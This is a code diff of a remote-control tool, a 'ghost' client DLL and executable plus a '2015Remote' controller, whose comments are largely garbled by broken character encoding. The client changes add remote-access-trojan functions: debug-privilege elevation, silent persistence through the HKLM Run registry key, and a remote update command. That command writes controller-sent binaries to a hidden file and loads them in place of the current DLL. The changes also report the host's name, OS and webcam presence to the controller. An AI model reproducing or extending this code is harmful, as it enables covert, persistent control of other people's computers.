diff --git a/ReadMe.txt b/ReadMe.txt index d6986fb..6ed1e03 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -236,3 +236,9 @@ fix: showing the wrong host quantity in status bar solve some issues according to code analysis result reorg: Move commands to common/commands.h 此次提交的重点是将重复代码移动到公共目录,减少代码的冗余。 + +2024.12.28 +1.修改了注册指令内容,新生成的主控程序和被控程序不能和以往的程序混用!! 预留了字段,以便未来之需。 +2.解决客户端接收大数据包的问题! 主控程序增加显示被控端版本信息,以便实现针对老版本在线更新(仅限基于TestRun的服务)的能力。 +在主控程序上面增加了显示被控端启动时间的功能,以便掌握被控端程序的稳定性。 +3.完善生成服务程序的功能。 diff --git a/client/Buffer.cpp b/client/Buffer.cpp index bd43209..f3be6bd 100644 --- a/client/Buffer.cpp +++ b/client/Buffer.cpp @@ -30,103 +30,101 @@ CBuffer::~CBuffer(void) ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength) { - if (ulLength > GetBufferMaxLength()) + if (ulLength > m_ulMaxLength) { return 0; } - if (ulLength > GetBufferLength()) + ULONG len = (ULONG)m_Ptr - (ULONG)m_Base; + if (ulLength > len) { - ulLength = GetBufferLength(); + ulLength = len; } if (ulLength) { CopyMemory(Buffer,m_Base,ulLength); - MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength); + MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength); m_Ptr -= ulLength; } - DeAllocateBuffer(GetBufferLength()); + DeAllocateBuffer((ULONG)m_Ptr - (ULONG)m_Base); return ulLength; } - -ULONG CBuffer::DeAllocateBuffer(ULONG ulLength) +// ·ڴС +VOID CBuffer::DeAllocateBuffer(ULONG ulLength) { - if (ulLength < GetBufferLength()) - return 0; + int len = (ULONG)m_Ptr - (ULONG)m_Base; + if (ulLength < len) + return; ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT; - if (GetBufferMaxLength() <= ulNewMaxLength) + if (m_ulMaxLength <= ulNewMaxLength) { - return 0; + return; } PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); if (NewBase == NULL) - return 0; - ULONG ulv1 = GetBufferLength(); //ԭڴЧ - CopyMemory(NewBase,m_Base,ulv1); + return; + + CopyMemory(NewBase,m_Base,len); VirtualFree(m_Base,0,MEM_RELEASE); m_Base = NewBase; - m_Ptr = m_Base + ulv1; + m_Ptr = m_Base + len; m_ulMaxLength = ulNewMaxLength; - - return m_ulMaxLength; } BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength) { - if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024 + if (ReAllocateBuffer(ulLength + ((ULONG)m_Ptr - (ULONG)m_Base)) == FALSE) { - return false; + return FALSE; } - CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5 - + CopyMemory(m_Ptr, Buffer, ulLength); m_Ptr+=ulLength; + return TRUE; } - -ULONG CBuffer::ReAllocateBuffer(ULONG ulLength) +// 泤Ȳʱ· +BOOL CBuffer::ReAllocateBuffer(ULONG ulLength) { - if (ulLength < GetBufferMaxLength()) - return 0; + if (ulLength < m_ulMaxLength) + return TRUE; ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT; PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); if (NewBase == NULL) { - return -1; + return FALSE; } - ULONG ulv1 = GetBufferLength(); //ԭȵЧݳ - CopyMemory(NewBase,m_Base,ulv1); + ULONG len = (ULONG)m_Ptr - (ULONG)m_Base; + CopyMemory(NewBase, m_Base, len); if (m_Base) { VirtualFree(m_Base,0,MEM_RELEASE); } m_Base = NewBase; - m_Ptr = m_Base + ulv1; //1024 + m_Ptr = m_Base + len; + m_ulMaxLength = ulNewMaxLength; - m_ulMaxLength = ulNewMaxLength; //2048 - - return m_ulMaxLength; + return TRUE; } - VOID CBuffer::ClearBuffer() { m_Ptr = m_Base; @@ -136,27 +134,15 @@ VOID CBuffer::ClearBuffer() -ULONG CBuffer::GetBufferLength() const //Чݳ +ULONG CBuffer::GetBufferLength() const { - if (m_Base == NULL) - return 0; - return (ULONG)m_Ptr - (ULONG)m_Base; } -ULONG CBuffer::GetBufferMaxLength() const -{ - return m_ulMaxLength; -} - PBYTE CBuffer::GetBuffer(ULONG ulPos) const { - if (m_Base==NULL) - { - return NULL; - } - if (ulPos>=GetBufferLength()) + if (m_Base==NULL || ulPos>=((ULONG)m_Ptr - (ULONG)m_Base)) { return NULL; } diff --git a/client/Buffer.h b/client/Buffer.h index cb732cb..cd1517d 100644 --- a/client/Buffer.h +++ b/client/Buffer.h @@ -8,12 +8,11 @@ public: CBuffer(void); ~CBuffer(void); - ULONG GetBufferMaxLength() const; ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength); ULONG GetBufferLength() const; //Чݳ - ULONG DeAllocateBuffer(ULONG ulLength); + VOID DeAllocateBuffer(ULONG ulLength); VOID ClearBuffer(); - ULONG ReAllocateBuffer(ULONG ulLength); + BOOL ReAllocateBuffer(ULONG ulLength); BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength); PBYTE GetBuffer(ULONG ulPos=0) const; diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 1707c98..861c856 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -9,11 +9,13 @@ #include "KernelManager.h" using namespace std; -// Զ̵ַ -char g_szServerIP[MAX_PATH] = {0}; -unsigned short g_uPort = 0; +// Զעеֵ +#define REG_NAME "a_ghost" -// Ӧó״̬1-ض˳ 2-ض˳ +// Զ̵ַ +CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0}; + +// Ӧó״̬1-ض˳ 2-ض˳ 3- BOOL g_bExit = 0; // ߳״̬ BOOL g_bThreadExit = 0; @@ -25,6 +27,60 @@ DWORD WINAPI StartClient(LPVOID lParam); enum { E_RUN, E_STOP } status; +//Ȩ +void DebugPrivilege() +{ + HANDLE hToken = NULL; + //򿪵ǰ̵ķ + int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); + + if (hRet) + { + TOKEN_PRIVILEGES tp; + tp.PrivilegeCount = 1; + //ȡȨ޵LUID + LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + //ƵȨ + AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); + + CloseHandle(hToken); + } +} + +/** +* @brief ñ +* @param[in] *sPath ע· +* @param[in] *sNmae ע +* @return ע +* @details Win7 64λϲԽעڣ\n +* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run +* @note ״ҪԹԱȨУעд뿪 +*/ +BOOL SetSelfStart(const char* sPath, const char* sNmae) +{ + DebugPrivilege(); + + // дע· +#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" + + // עдϢ + HKEY hKey = NULL; + LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey); + + // жǷɹ + if (lRet != ERROR_SUCCESS) + return FALSE; + + lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1); + + // رע + RegCloseKey(hKey); + + // жǷɹ + return lRet == ERROR_SUCCESS; +} + // ؿ̨ // οhttps://blog.csdn.net/lijia11080117/article/details/44916647 // step1: "߼"ڵΪmainCRTStartup @@ -44,12 +100,13 @@ BOOL CALLBACK callback(DWORD CtrlType) int main(int argc, const char *argv[]) { - status = E_RUN; - if (argc < 3) + if (!SetSelfStart(argv[0], REG_NAME)) { - std::cout<<".\n"; - return -1; + std::cout << "ÿʧܣùԱȨ.\n"; } + + status = E_RUN; + HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe"); if (ERROR_ALREADY_EXISTS == GetLastError()) { @@ -58,12 +115,16 @@ int main(int argc, const char *argv[]) } SetConsoleCtrlHandler(&callback, TRUE); - const char *szServerIP = argv[1]; - int uPort = atoi(argv[2]); - printf("[server] %s:%d\n", szServerIP, uPort); - - memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); - g_uPort = uPort; + if (argc>=3) + { + g_SETTINGS.SetServer(argv[1], atoi(argv[2])); + } + if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) { + printf(": ṩԶIPͶ˿!\n"); + Sleep(3000); + return -1; + } + printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); do{ g_bExit = 0; @@ -103,9 +164,8 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance, // һghost extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) { - g_bExit = false; - memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); - g_uPort = uPort; + g_bExit = FALSE; + g_SETTINGS.SetServer(szServerIP, uPort); HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); if (hThread == NULL) { @@ -126,7 +186,7 @@ extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; } extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; } // Ƿ˳ͻ -extern "C" __declspec(dllexport) bool IsExit() { return 1 == g_bExit; } +extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; } #endif @@ -138,7 +198,7 @@ DWORD WINAPI StartClient(LPVOID lParam) while (!g_bExit) { DWORD dwTickCount = GetTickCount64(); - if (!ClientObject->ConnectServer(g_szServerIP, g_uPort)) + if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { for (int k = 500; !g_bExit && --k; Sleep(10)); continue; diff --git a/client/Common.cpp b/client/Common.cpp index 445869d..b13f237 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -10,10 +10,9 @@ #include "RegisterManager.h" #include "ServicesManager.h" #include "VideoManager.h" -#include "KernelManager.h" +#include "KernelManager.h" -extern char g_szServerIP[MAX_PATH]; -extern unsigned short g_uPort; +extern CONNECT_ADDRESS g_SETTINGS; HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, SIZE_T dwStackSize, @@ -53,7 +52,7 @@ template DWORD WINAPI LoopManager(LPVOID lParam) { ThreadInfo *pInfo = (ThreadInfo *)lParam; IOCPClient *ClientObject = pInfo->p; - if (ClientObject->ConnectServer(g_szServerIP,g_uPort)) + if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { Manager m(ClientObject, n); ClientObject->RunEventLoop(pInfo->run); diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 0aba840..cfe54c5 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -101,7 +101,7 @@ inline string GetIPAddress(const char *hostName) return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : ""; } -BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort) +BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) { m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); // @@ -219,14 +219,14 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) { assert (ulLength > 0); //½ӵݽнѹ - CBuffer m_CompressedBuffer; m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength); //ǷͷС ǾͲȷ while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH) { char szPacketFlag[FLAG_LENGTH + 3] = {0}; - CopyMemory(szPacketFlag, m_CompressedBuffer.GetBuffer(),FLAG_LENGTH); + LPBYTE src = m_CompressedBuffer.GetBuffer(); + CopyMemory(szPacketFlag, src, FLAG_LENGTH); //жͷ if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) { @@ -238,8 +238,8 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) sizeof(ULONG)); //--- ݵĴСȷж - if (ulPackTotalLength && - (m_CompressedBuffer.GetBufferLength()) >= ulPackTotalLength) + ULONG len = m_CompressedBuffer.GetBufferLength(); + if (ulPackTotalLength && len >= ulPackTotalLength) { m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//ȡͷ shine @@ -270,7 +270,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) m_DeCompressedBuffer.GetBufferLength()); } else{ - printf("[ERROR] uncompress failed \n"); + printf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength); delete [] CompressedBuffer; delete [] DeCompressedBuffer; throw "Bad Buffer"; @@ -278,11 +278,17 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) delete [] CompressedBuffer; delete [] DeCompressedBuffer; +#if _DEBUG + printf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength); +#endif } - else + else { + printf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength); break; + } } }catch(...) { + m_CompressedBuffer.ClearBuffer(); printf("[ERROR] OnServerReceiving catch an error \n"); } } diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 5fdf5c3..ae55eb3 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -30,11 +30,11 @@ public: IOCPClient(bool exit_while_disconnect = false); virtual ~IOCPClient(); SOCKET m_sClientSocket; - + CBuffer m_CompressedBuffer; BOOL m_bWorkThread; HANDLE m_hWorkThread; - BOOL ConnectServer(char* szServerIP, unsigned short uPort); + BOOL ConnectServer(const char* szServerIP, unsigned short uPort); static DWORD WINAPI WorkThreadProc(LPVOID lParam); VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength); diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 6df4dd2..60af449 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -5,6 +5,10 @@ #include "stdafx.h" #include "KernelManager.h" #include "Common.h" +#include +#include +#include + ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// @@ -48,6 +52,56 @@ UINT CKernelManager::GetAvailableIndex() { return -1; } +BOOL WriteBinaryToFile(const char* data, ULONGLONG size) +{ + if (size > 32 * 1024 * 1024) { + std::cerr << "WriteBinaryToFile fail: too large file size!!" << std::endl; + return FALSE; + } + + char path[_MAX_PATH], * p = path; + GetModuleFileNameA(NULL, path, sizeof(path)); + while (*p) ++p; + while ('\\' != *p) --p; + strcpy(p + 1, "ServerDll.new"); + if (_access(path, 0)!=-1) + { + DeleteFileA(path); + } + // ļԶģʽд + std::string filePath = path; + std::ofstream outFile(filePath, std::ios::binary); + + if (!outFile) + { + std::cerr << "Failed to open or create the file: " << filePath << std::endl; + return FALSE; + } + + // д + outFile.write(data, size); + + if (outFile.good()) + { + std::cout << "Binary data written successfully to " << filePath << std::endl; + } + else + { + std::cerr << "Failed to write data to file." << std::endl; + outFile.close(); + return FALSE; + } + + // رļ + outFile.close(); + // ļΪ + if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN)) + { + std::cout << "File created and set to hidden: " << filePath << std::endl; + } + return TRUE; +} + VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; @@ -161,6 +215,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } + case COMMAND_UPDATE: + { + if (m_ulThreadCount != -1) { + delete m_hThread[m_ulThreadCount].p; + m_hThread[m_ulThreadCount].p = NULL; + } + ULONGLONG size=0; + memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG)); + if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) { + extern BOOL g_bExit; + g_bExit = 3; + } + break; + } + default: { OutputDebugStringA("======> Error operator\n"); diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index efa8132..409a2b8 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -2,6 +2,9 @@ #include "LoginServer.h" #include "Common.h" #include +#include +#include +#include /************************************************************************ --------------------- @@ -122,10 +125,39 @@ std::string getSystemName() return vname; } +std::string formatTime(const FILETIME& fileTime) { + // תΪ 64 λʱ + ULARGE_INTEGER ull; + ull.LowPart = fileTime.dwLowDateTime; + ull.HighPart = fileTime.dwHighDateTime; + + // תΪ뼶ʱ + std::time_t startTime = static_cast((ull.QuadPart / 10000000ULL) - 11644473600ULL); + + // ʽ + std::tm* localTime = std::localtime(&startTime); + char buffer[100]; + std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime); + return std::string(buffer); +} + +std::string getProcessTime() { + FILETIME creationTime, exitTime, kernelTime, userTime; + + // ȡǰ̵ʱϢ + if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) { + return formatTime(creationTime); + } + std::time_t now = std::time(nullptr); + std::tm* t = std::localtime(&now); + char buffer[100]; + std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t); + return buffer; +} int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed) { - LOGIN_INFOR LoginInfor = {0}; + LOGIN_INFOR LoginInfor; LoginInfor.bToken = TOKEN_LOGIN; // Ϊ¼ //òϵͳϢ strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str()); @@ -148,9 +180,8 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed) memcpy(LoginInfor.szPCName,szPCName,MAX_PATH); LoginInfor.dwSpeed = dwSpeed; LoginInfor.dwCPUMHz = dwCPUMHz; - LoginInfor.ClientAddr = ClientAddr.sin_addr; LoginInfor.bWebCamIsExist = bWebCamIsExist; - + strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str()); int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR)); return iRet; diff --git a/client/LoginServer.h b/client/LoginServer.h index 4e64225..64f29b6 100644 --- a/client/LoginServer.h +++ b/client/LoginServer.h @@ -5,17 +5,6 @@ #pragma comment(lib,"Vfw32.lib") -typedef struct _LOGIN_INFOR -{ - BYTE bToken; // ȡ1½Ϣ - char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// 汾Ϣ - DWORD dwCPUMHz; // CPUƵ - IN_ADDR ClientAddr; // 洢32λIPv4ĵַݽṹ - char szPCName[MAX_PATH]; // - BOOL bWebCamIsExist; // Ƿͷ - DWORD dwSpeed; // -}LOGIN_INFOR,*PLOGIN_INFOR; - int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed); DWORD CPUClockMHz(); BOOL WebCamIsExist(); diff --git a/client/test.cpp b/client/test.cpp index bfe4e18..86c9128 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -4,10 +4,15 @@ #include #include "common/commands.h" +// Զעеֵ +#define REG_NAME "a_ghost" + typedef void (*StopRun)(); typedef bool (*IsStoped)(); +typedef BOOL (*IsExit)(); + // ֹͣ StopRun stop = NULL; @@ -15,7 +20,7 @@ StopRun stop = NULL; IsStoped bStop = NULL; // Ƿ˳ض -IsStoped bExit = NULL; +IsExit bExit = NULL; BOOL status = 0; @@ -87,6 +92,9 @@ BOOL CALLBACK callback(DWORD CtrlType) return TRUE; } +// г. +BOOL Run(const char* argv1, int argv2); + // @brief ȶȡsettings.iniļȡIPͶ˿. // [settings] // localIp=XXX @@ -94,50 +102,106 @@ BOOL CALLBACK callback(DWORD CtrlType) // ļھʹлȡIPͶ˿. int main(int argc, const char *argv[]) { - if(!SetSelfStart(argv[0], "a_ghost")) + if(!SetSelfStart(argv[0], REG_NAME)) { std::cout<<"ÿʧܣùԱȨ.\n"; } status = 0; SetConsoleCtrlHandler(&callback, TRUE); - char path[_MAX_PATH], *p = path; + + do { + BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.szServerIP) == 0 ? "127.0.0.1" : g_ConnectAddress.szServerIP), + argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.iPort == 0 ? 6543 : g_ConnectAddress.iPort)); + if (ret == 1) { + return -1; + } + } while (status == 0); + + status = 0; + return -1; +} + +// в: IP ˿. +BOOL Run(const char* argv1, int argv2) { + BOOL result = FALSE; + char path[_MAX_PATH], * p = path; GetModuleFileNameA(NULL, path, sizeof(path)); while (*p) ++p; while ('\\' != *p) --p; - strcpy(p+1, "ServerDll.dll"); + *(p + 1) = 0; + std::string folder = path; + std::string oldFile = folder + "ServerDll.old"; + std::string newFile = folder + "ServerDll.new"; + strcpy(p + 1, "ServerDll.dll"); + BOOL ok = TRUE; + if (_access(newFile.c_str(), 0) != -1) { + if (_access(oldFile.c_str(), 0) != -1) + { + if (!DeleteFileA(oldFile.c_str())) + { + std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl; + ok = FALSE; + } + } + if (ok && !MoveFileA(path, oldFile.c_str())) { + std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl; + ok = FALSE; + }else { + // ļΪ + if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) + { + std::cout << "File created and set to hidden: " << oldFile << std::endl; + } + } + if (ok && !MoveFileA(newFile.c_str(), path)) { + std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl; + MoveFileA(oldFile.c_str(), path);// recover + }else if (ok){ + std::cout << "Using new file: " << newFile << std::endl; + } + } HMODULE hDll = LoadLibraryA(path); - typedef void (*TestRun)(char* strHost,int nPort); + typedef void (*TestRun)(char* strHost, int nPort); TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL; stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL; bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL; - bExit = hDll ? IsStoped(GetProcAddress(hDll, "IsExit")) : NULL; + bExit = hDll ? IsExit(GetProcAddress(hDll, "IsExit")) : NULL; if (run) { - char *ip = g_ConnectAddress.szServerIP; - int &port = g_ConnectAddress.iPort; + char* ip = g_ConnectAddress.szServerIP; + int& port = g_ConnectAddress.iPort; strcpy(p + 1, "settings.ini"); if (_access(path, 0) == -1) { // ļ: ȴӲȡֵǴg_ConnectAddressȡֵ. - ip = argc > 1 ? argv[1] :(strlen(ip)==0 ? "127.0.0.1" : ip); - port = argc > 2 ? atoi(argv[2]) : (port==0 ? 6543: port); - } else { + strcpy(ip, argv1); + port = argv2; + } + else { GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.szServerIP, ip, _MAX_PATH, path); port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.iPort, path); } printf("[server] %s:%d\n", ip, port); - do + do { run(ip, port); - while(bStop && !bStop() && 0 == status) + while (bStop && !bStop() && 0 == status) Sleep(20); } while (bExit && !bExit() && 0 == status); - while(bStop && !bStop() && 1 == status) + while (bStop && !bStop() && 1 == status) Sleep(20); + if (bExit) { + result = bExit(); + } + if (!FreeLibrary(hDll)) { + printf("ͷŶ̬ӿ\"ServerDll.dll\"ʧ. : %d\n", GetLastError()); + } + else { + printf("ͷŶ̬ӿ\"ServerDll.dll\"ɹ!\n"); + } } else { - printf("ض̬ӿ\"ServerDll.dll\"ʧ.\n"); + printf("ض̬ӿ\"ServerDll.dll\"ʧ. : %d\n", GetLastError()); Sleep(3000); } - status = 0; - return -1; -} + return result; +} \ No newline at end of file diff --git a/common/commands.h b/common/commands.h index 9926f1a..c484db1 100644 --- a/common/commands.h +++ b/common/commands.h @@ -1,11 +1,19 @@ #pragma once +#include +#include + #ifndef _MAX_PATH #define _MAX_PATH 260 #endif #define FLAG_FINDEN 0x1234567 +#define FLAG_GHOST 0x7654321 + +// Է仯ʱӦøֵԱԱس +#define DLL_VERSION "20241228" // DLL汾 + // öб enum { @@ -78,6 +86,7 @@ enum COMMAND_SERVICES, // COMMAND_REGEDIT, COMMAND_TALK, // ʱϢ֤ + COMMAND_UPDATE = 53, // ͻ // ˷ıʶ TOKEN_AUTH = 100, // Ҫ֤ @@ -133,4 +142,37 @@ typedef struct CONNECT_ADDRESS unsigned long dwFlag; char szServerIP[_MAX_PATH]; int iPort; + const char* ServerIP()const { + return szServerIP; + } + int ServerPort()const { + return iPort; + } + void SetServer(const char* ip, int port) { + strcpy_s(szServerIP, ip); + iPort = port; + } } CONNECT_ADDRESS ; + +// ߺ͵ļϢ +// ˽ṹһ仯Сǰ汾Ŀͻ޷°. +// °ͻҲ޷ϰ汾س. +// Ϊˣ20241228ύΪṹԤֶΣԱδ֮ʱ֮ +// ޸Ĵ˽ṹ壬ټǰijߵд +typedef struct LOGIN_INFOR +{ + unsigned char bToken; // 1.½Ϣ + char OsVerInfoEx[156]; // 2.汾Ϣ + unsigned long dwCPUMHz; // 3.CPUƵ + char moduleVersion[24]; // 4.DLLģ汾 + char szPCName[_MAX_PATH]; // 5. + int bWebCamIsExist; // 6.Ƿͷ + unsigned long dwSpeed; // 7. + char szStartTime[20]; // 8.ʱ + char szReserved[512]; // 9.ֶ + + LOGIN_INFOR(){ + memset(this, 0, sizeof(LOGIN_INFOR)); + strcpy_s(moduleVersion, DLL_VERSION); + } +}LOGIN_INFOR; diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 689ddaf..7669d6c 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index a12f808..e194e9d 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -39,7 +39,10 @@ enum ONLINELIST_OS, //ϵͳ ONLINELIST_CPU, //CPU ONLINELIST_VIDEO, //ͷ() - ONLINELIST_PING //PING(Է) + ONLINELIST_PING, //PING(Է) + ONLINELIST_VERSION, // 汾Ϣ + ONLINELIST_LOGINTIME, // ʱ + ONLINELIST_MAX, }; @@ -49,7 +52,7 @@ typedef struct int nWidth; //бĿ }COLUMNSTRUCT; -const int g_Column_Count_Online = 7; // +const int g_Column_Count_Online = ONLINELIST_MAX; // COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = { @@ -60,6 +63,8 @@ COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = {"CPU", 80 }, {"ͷ", 72 }, {"PING", 100 }, + {"汾", 80 }, + {"ʱ", 180 }, }; // Ӧó򡰹ڡ˵ CAboutDlg Ի @@ -120,7 +125,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE); - m_bmOnline[1].LoadBitmap(IDB_BITMAP_ONLINE); + m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE); + m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE); InitializeCriticalSection(&m_cs); } @@ -148,6 +154,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline) ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage) ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete) + ON_COMMAND(ID_ONLINE_UPDATE, &CMy2015RemoteDlg::OnOnlineUpdate) ON_COMMAND(IDM_ONLINE_ABOUT,&CMy2015RemoteDlg::OnAbout) ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager) @@ -322,7 +329,7 @@ VOID CMy2015RemoteDlg::TestOnline() VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, - CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject) + CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CONTEXT_OBJECT* ContextObject) { EnterCriticalSection(&m_cs); //ĬΪ0 вж @@ -334,6 +341,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName m_CList_Online.SetItemText(i,ONLINELIST_CPU,strCPU); m_CList_Online.SetItemText(i,ONLINELIST_VIDEO,strVideo); m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing); + m_CList_Online.SetItemText(i, ONLINELIST_VERSION, ver); + m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, st); m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject); @@ -624,7 +633,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) } Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]); - Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]); + Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]); + Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]); SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this); *pResult = 0; 